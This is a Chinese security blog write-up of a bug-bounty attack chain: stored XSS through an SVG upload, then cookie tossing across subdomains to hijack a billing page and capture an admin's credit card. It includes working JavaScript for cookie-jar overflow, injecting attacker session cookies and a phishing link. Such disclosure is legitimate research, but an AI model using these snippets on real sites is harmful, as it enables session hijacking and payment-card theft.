从存储型XSS到CookieTossing,再到信用卡盗取

admin 2026-03-29 23:46:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文讲述了一个SaaS平台上的客户端漏洞链:攻击者通过SVG文件上传实现存储型XSS,随后利用CookieTossing技术向共享的.company.com域名注入攻击者Cookie并通过路径限制精确劫持billing页面的会话,最终诱导管理员在攻击者实例的账单页面输入信用卡信息,实现敏感数据窃取。该漏洞链展示了跨子域的XSS与Cookie作用域配置不当如何结合产生严重业务安全风险。该报告被平台评为Informational且拒绝披露。 综合评分: 68 文章分类: 渗透测试,漏洞分析,WEB安全,安全大事件


cover_image

从存储型 XSS 到 Cookie Tossing,再到信用卡盗取

hai dragon hai dragon

安全狗的自我修养

2026年3月26日 15:32 湖南

官网:http://securitytech.cc

大家好,我们又见面了!

几个月前,我在 HackerOne 的一个大型 SaaS 平台中,发现了一条非常有意思的客户端漏洞链

👉 结果:

  • 被标记为 Informational(信息级)
  • 申请披露 → ❌ 被拒绝(巧了)

所以我只能隐藏细节,把目标称为:

👉 company.com


🧠 平台运行机制(关键前提)

在讲漏洞链之前,有一个很重要的点:

👉 不同用户有不同实例(instance)

但:

👉 上传的 SVG 文件 统一托管在同一个子域

例如:

something.company.com

⚠️ 这意味着:

  • 攻击者:自己的实例
  • 受害者:另一个实例
  • 但 SVG 在同一个域

👉 攻击流程:

  1. 攻击者上传恶意 SVG
  2. 发送链接给受害者
  3. 受害者打开 → JS 在共享域执行

🔍 初始发现(Stored XSS)

在后台测试时,我发现:

👉 评论功能支持上传文件

于是我上传了一个 SVG,包含:

alert()

💥 结果:成功触发 XSS

👇(点击可查看大图)


⚠️ 但有个问题

XSS 执行在:

something.company.com

而敏感数据在:

admin.company.com

👉 跨子域,直接拿不到


💡 思路突破:Cookie Tossing

问题变成:

👉 能不能影响 admin 域的 session?


🔍 发现关键点

认证 Cookie:

domain = .company.com

👉 作用范围:所有子域


🚨 这意味着:

可以做:

👉 Cookie Tossing(Cookie 投毒)


🎯 攻击目标

后台有一个非常关键的功能:

👉 Billing(账单页面)

  • 管理员可以输入信用卡信息

🧨 完整攻击链


🧩 步骤

1️⃣ 触发 Stored XSS(子域)
2️⃣ 制造 Cookie 池压力
3️⃣ 注入攻击者 Cookie
4️⃣ 限定作用路径(billing)
5️⃣ 引导用户访问 billing 页面

🧠 核心技巧:Path 限制

document.cookie ="session_id=ATTACKER_SESSION;
path=/instance/attacker/settings/billing;
domain=.company.com;
Secure;
SameSite=None";

📌 效果:

👉 Cookie 只在以下路径生效:

/instance/attacker/settings/billing

🎯 关键点

👉 不需要劫持整个 session 👉 只需要劫持“支付流程”


💻 关键代码片段


1️⃣ Cookie 池溢出

for (leti=500; i--;) {
document.cookie =`overflow${i}=${i}; path=/; domain=.company.com; Secure`;
}

👉 目的:

  • 制造 cookie 压力
  • 干扰原有 session

2️⃣ 注入攻击者 Cookie

document.cookie ="koa.sid=ATTACKER_VALUE; path=/instance/attacker/settings/billing; domain=.company.com; Secure; SameSite=None";
document.cookie ="koa.sid.sig=ATTACKER_SIG; path=/instance/attacker/settings/billing; domain=.company.com; Secure; SameSite=None";

3️⃣ 诱导链接(嵌入 SVG)

<ahref="https://admin.company.com/instance/attacker/settings/billing"target="_blank">
&nbsp; Add new Payment Method
</a>

📸 诱导效果(点击可查看大图)


💥 最终效果

👉 当管理员点击:

  • 页面看起来正常
  • 但实际进入的是:

👉 攻击者实例的 billing 页面


😱 后果

管理员输入:

  • 信用卡信息

👉 实际保存到:

👉 攻击者账户


🧾 攻击流程总结


1️⃣ 上传恶意 SVG(攻击者实例) 2️⃣ SVG 托管在共享域 3️⃣ 发送给受害者 4️⃣ 触发 Stored XSS 5️⃣ 执行 Cookie Tossing 6️⃣ 注入攻击者 Cookie 7️⃣ 展示钓鱼按钮 8️⃣ 跳转 billing 页面 9️⃣ 用户输入信用卡

👉 💥 数据被窃取


🧠 本质总结

👉 这个漏洞链结合了:

  • Stored XSS
  • Cookie 作用域问题
  • Cookie Tossing
  • 业务逻辑漏洞

🎯 一句话总结

👉 不需要劫持整个系统,只需要劫持“关键路径”


😐 官方态度

👉 该报告被标记为:

Informational

理由:

“政策变更”


📸 拒绝披露(点击查看)


🙌 结尾

感谢阅读!

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 hai dragon hai dragon《从存储型 XSS 到 Cookie Tossing,再到信用卡盗取》

评论:0   参与:  0